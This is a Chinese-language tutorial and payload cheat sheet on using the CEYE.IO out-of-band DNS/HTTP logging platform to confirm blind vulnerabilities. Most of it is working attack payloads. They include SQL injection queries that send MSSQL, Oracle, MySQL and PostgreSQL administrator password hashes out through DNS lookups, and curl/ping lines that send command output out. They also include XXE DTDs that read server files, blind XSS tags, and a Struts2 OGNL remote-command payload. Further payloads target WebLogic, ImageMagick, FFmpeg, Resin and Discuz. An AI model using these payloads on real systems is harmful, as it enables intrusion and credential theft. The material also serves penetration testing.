0x01 CEYE 是什么
CEYE是一個用來檢測帶外(Out-of-Band)流量的監控平台,如DNS查詢和HTTP請求。它可以幫助安全研究人員在測試漏洞時收集信息(例如SSRF / XXE / RFI / RCE)。
0x02 CEYE的使用場景
漏洞檢測或漏洞利用需要進一步的用戶或系統交互。
一些漏洞類型沒有直接表明攻擊是成功的。如Payload觸發了卻不在前端頁面顯示。
這時候使用CEYE平台,通過使用諸如DNS和HTTP之類的帶外信道,便可以得到回顯信息。
0x03 CEYE如何使用
登錄 CEYE.IO,在用戶詳情頁(http://ceye.io/profile)可以看到自己的域名標識符 identifier,對於每個用戶,都有唯一的域名標識符如 abcdef.ceye.io 。所有來自於 abcdef.ceye.io 或 *.abcdef.ceye.io 的 DNS查詢和HTTP請求都會被記錄。通過查看這些記錄信息,安全研究人員可以確認並改進自己的漏洞研究方案。
通過DNS帶外信道檢測 Blind Payload 的執行情況
DNS查詢可以以多種不同的方式進行解析。CEYE.IO平台提供了一台DNS Server來解析域名。它的 nameserver address 被設置為自己的服務器IP,因此所有關於ceye.io 的域名的DNS查詢最終都會被發送到CEYE的DNS服務器。
例如,在終端中使用 nslookup
➜ nslookup `whoami`.abcdef.ceye.io Server: 127.1.1.1 Address: 127.1.1.1#53 Non-authoritative answer: Name: chan.abcdef.ceye.io Address: 118.192.48.48
可以看到有記錄產生,我們保存了最近的100條記錄,你可以通過搜索框,搜索並導出你需要的結果,導出格式為 JSON 。
CEYE.IO平台擁有自己的HTTP服務器,記錄用戶域名的所有請求。這可以用來做一些有趣的事情。例如:
➜ curl -X POST http://ip.port.abcdef.ceye.io/`whoami`?p=http -d data=http {"meta": {"code": 201, "message": "HTTP Record Insert Success"}}
在后台,CEYE.IO平台將記錄客戶端請求的URL,遠程IP地址,Http Method,Data,User Agent,Content Type等信息。你可以在HTTP Records頁面找到這些詳細信息。
0x04 Payloads:
0x00 Command Execution
i. *nix:
curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io
ii. windows
ping %USERNAME%.b182oj.ceye.io
這里給大家一個win的常用變量吧
//變量 類型 描述 //%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。 //%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。 //%CD% 本地 返回當前目錄字符串。 //%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。 //%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。 //%COMPUTERNAME% 系統 返回計算機的名稱。 //%COMSPEC% 系統 返回命令行解釋器可執行程序的准確路徑。 //%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。 //%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。 //%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 //%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 //%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 //%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。 //%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。 //%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。 //%PATH% 系統 指定可執行文件的搜索路徑。 //%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。 //%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。 //%PROCESSOR_IDENTFIER% 系統 返回處理器說明。 //%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。 //%PROCESSOR_REVISION% 系統 返回處理器的版本號。 //%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。 //%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。 //%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。 //%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。 //%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。 //%TIME% 系統 返回當前時間。使用與 time /t 命令相同的格式。由 Cmd.exe 生成。有關 time 命令的詳細信息,請參閱 Time。 //%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。 //%USERNAME% 本地 返回當前登錄的用戶的名稱。 //%USERPROFILE% 本地 返回當前用戶的配置文件的位置。 //%WINDIR% 系統 返回操作系統目錄的位置。
0x01 SQL Injection
i. Microsoft SQL Server
擴展存儲程序是一個直接運行在微軟的地址空間庫SQL服務器(MSSQL)的動態鏈接。有幾個未被公開說明的擴展存儲程序對於實現本文的目的特別有用的。
攻擊者可以使用Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何以下擴展存儲程序引發DNS地址解析。Windows系統的UNC語法具有通用的形式:
\\ComputerName\SharedFolder\Resource
攻擊者能夠通過使用自定義制作的地址作為計算機名字段的值引發DNS請求。
1.1 master..xp_dirtree
擴展存儲程序master..xp_dirtree()用於獲取所有文件夾的列表和給定文件夾內部的子文件夾:
master..xp_dirtree '<dirpath>'
例如,要獲得C:\Windows run:里的所有文件夾和子文件夾:
EXEC master..xp_dirtree 'C:\Windows';
1.2 master..xp_fileexist
擴展存儲程序master..xp_fileexist()用於確定一個特定的文件是否存在於硬盤: xp_fileexist ‘‘ 例如,要檢查boot.ini文件是否存在於磁盤C 運行:
EXEC master..xp_fileexist 'C:\boot.ini';
1.3 master..xp_subdirs
擴展存儲程序master..xp_subdirs()用於得到給定的文件夾內的文件夾列表:
master..xp_subdirs '<dirpath>'
例如,要獲得C:\Windows中的所有次級文件夾:
EXEC master..xp_subdirs 'C:\Windows';
1.4例子
接下來的是的通過MsSQL的擴展存儲程序master..xp_dirtree()將管理員(sa)的密碼哈希通過DNS傳輸的例子。
#!sql DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.ip.port.b182oj.ceye.io '; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
這種預先計算的形式被使用,因為擴展存儲程序不接受帶有參數的子查詢。因而使用臨時變量存儲SQL查詢的結果。
詳細分析:
DECLARE @host varchar(1024);
注冊一個名為@host的變量,類型為varchar。
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';
獲取db_name()然后轉換成varchar類型,然后把獲取的db_name()返回值拼接到dnslog平台給我們的子域名里面,然后賦值給@host變量。
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
列遠程主機的foobar$目錄,由於是遠程主機,所以會做一個dns解析,這樣我們的dns平台就能得到日志了
http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--
ii. Oracle
Oracle提供的PL/ SQL包被捆綁在它的Oracle數據庫服務器來擴展數據庫功能。為了實現本文的目的,其中幾個用於網絡接入的包讓人特別感興趣。
2.1 UTL_INADDR.GET_HOST_ADDRESS
UTL_INADDR包用於互聯網的尋址–諸如檢索本地和遠程主機的主機名和IP的地址。
它的成員函數GET_HOST_ADDRESS()用於檢索特定主機的IP:
UTL_INADDR.GET_HOST_ADDRESS('<host>')
例如,為了獲得test.example.com的IP地址,運行:
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com'); SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
2.2 UTL_HTTP.REQUEST
UTL_HTTP包用於從SQL和PL/SQL中標注出HTTP。 它的程序REQUEST()回從給定的地址檢索到的第1-2000字節的數據: UTL_HTTP.REQUEST(‘‘)
例如,為了獲得http://test.example.com/index.php頁面的前兩千字節的數據,運行:
SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL; SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
2.3 HTTPURITYPE.GETCLOB
HTTPURITYPE類的實例方法GETCLOB()返回從給定地址中檢索到的CLOB(Character Large Object) HTTPURITYPE(‘‘).GETCLOB()
例如,從頁面http://test.example.com/index.php開始內容檢索 運行:
SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL; SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
2.4 DBMS_LDAP.INIT
DBMS_LDAP包使得PL/SQL程序員能夠訪問輕量級目錄訪問協議(LDAP)服務器。它的程序INIT()用於初始化與LDAP服務器的會話: DBMS_LDAP.INIT((‘‘,)
例如:初始化與主機test.example.com的連接 運行:
SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL; SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
攻擊者可以使用任何以上提到的Oracle子程序發起DNS請求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能導致網絡訪問子程序都受到限制。
2.5例子
系統管理員(SYS)的密碼哈希被Oracle程序DBMS_LDAP.INIT()通過DNS解析機制傳輸:
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
iii. MySQL
3.1 LOAD_FILE
MySQL的函數LOAD_FILE()讀取文件內容並將其作為字符串返回: LOAD_FILE(‘‘)
例如,要獲取C:\Windows\system.ini文件的內容 運行:
SELECT LOAD_FILE('C:\\Windows\\system.ini') ;
3.2例子
以下是使用MySQL的函數LOAD_FILE()將系統管理員的密碼通過DNS解析機制傳輸的例子:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));
就以sql盲注為例。深入理解下DNSlog注入過程:
首先提一下load_file()函數,
讀取文件並返回文件內容為字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,而且必須有FILE權限。該文件所有字節可讀,但文件內容必須小於max_allowed_packet。
通過DNSlog盲注需要用到load_file()函數。show variables like '%secure%';查看load_file()可以讀取的磁盤。
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。
當我們遇到盲注的時候,大家的常規思路是什么?無非兩種,一延時,二基於內容特征。而這兩種方法都是一個字符一個字符的判斷,效率很低。另外要發送大量的get請求,那么這種行為很容易被目標物理防火牆認定位是黑客行為,最終導致IP被ban。
但有了DNSLOG可就不一樣了。當遇到盲注的時候,我們可以用這樣的PAYLOAD。
load_file(concat('\\\\',(select database()),'.abcdef.ceye.io\\aaa'))
在這里我們需要了解load_file是可以發送DNS請求的。
所以就等同於訪問了database().abcdef.ceye.io,然后我們的ceye平台就會有記錄,那么database()是不是就得到了呢?這種方法比逐字判斷是要方便很多吧。
接下來注入就是庫表列,語句自由組合。
例如
select schema_name from information_schema.schemata limit 0,1
要注意的是數據很可能不止一行,因此要用limit分次輸出。
MySQL的函數LOAD_FILE()讀取文件內容並將其作為字符串返回:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc')); ' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+
iv. PostgreSQL
4.1 COPY
PostgreSQL的聲明COPY用於在文件系統的文件和表之間拷貝數據:
COPY <table>(<column>,...) FROM '<path>'
例如,為了將C:\Windows\Temp\users.txt的文件內容拷貝到含有唯一列names的users表中 運行:
COPY users(names) FROM 'C:\\Windows\\Temp\\users.txt'
4.2例子
以下是使用PostgreSQL的聲明COPY將系統管理員的密碼通過DNS解析機制傳輸的例子:
#!sql DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\''; EXECUTE exec_cmd; END; $ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();
這種預先計算的形式被使用,因為SQL的聲明COPY不接受子查詢。
同時,PostgreSQL的變量都必須被明確地聲明並在子程序(函數或者程序)范圍內使用。因此使用用戶自定義的存儲功能。
0x02 XML Entity Injection
5.1 XXE注入利用
當我們遇到XXE,如果這個XXE漏洞可以解析外部實體,那么不用說,就可以拿來讀取本地服務器文件,這時,我們只需把dtd文件改成這樣
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://bywalks.ceye.io/%file;'>" > %all;
在我們的ceye平台就可以接收到這個讀取的服務器文件了。
當安全維護人員對服務器做了安全防護,使XXE不可以解析外部實體,但是<?xml version='1.0'?>這種任然是從前台直接傳遞的時候,依舊是存在SSRF漏洞。所以對XXE的安全防護是必須嚴格化的。
5.2 例子
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test"> %remote;]> <root/>
0x03 SSRF attack
當我們遇到SSRF的時候,例如ImageUrl=XXX這種,可以吧XXX換成127.0.0.1:80,127.0.0.1:81等,看返回值的情況判斷是否存在SSRF,也可以用NC -lvvp 8888監聽本地8888端口,然后ImageUrl=http://Your-Ip:8888來觀察是否存在SSRF。
同時,我們也可以用基於DNSLOG的ceye來觀察是否存在SSRF,我們可以把XXX換成bywalks.ceye.io,然后看我們的ceye平台是否有服務器的IP來判斷。
0x04 XSS Injection
通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:
payload:
><img src=http://xss.abcdef.ceye.io/aaa> "><img src=x onerror=http://bywalks.ceye.io>
可以用來判斷是否存在XSS
0x05 Others
i. Struts2
xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
ii. FFMpeg
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://ip.port.b182oj.ceye.io #EXT-X-ENDLIST
iii. Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
iv. ImageMagick
push graphic-context viewbox 0 0 640 480 fill 'url(http://ip.port.b182oj.ceye.io)' pop graphic-context
v. Resin
http://xxx.xxxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf
vi. Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
0x06 參考鏈接:
http://www.vuln.cn/6805
http://www.mottoin.com/93274.html
https://bbs.ichunqiu.com/thread-22002-1-1.html
https://www.cnblogs.com/afanti/p/8047530.html
http://ceye.io/payloads
https://cloud.tencent.com/developer/article/1078993
http://www.bywalks.com/324.html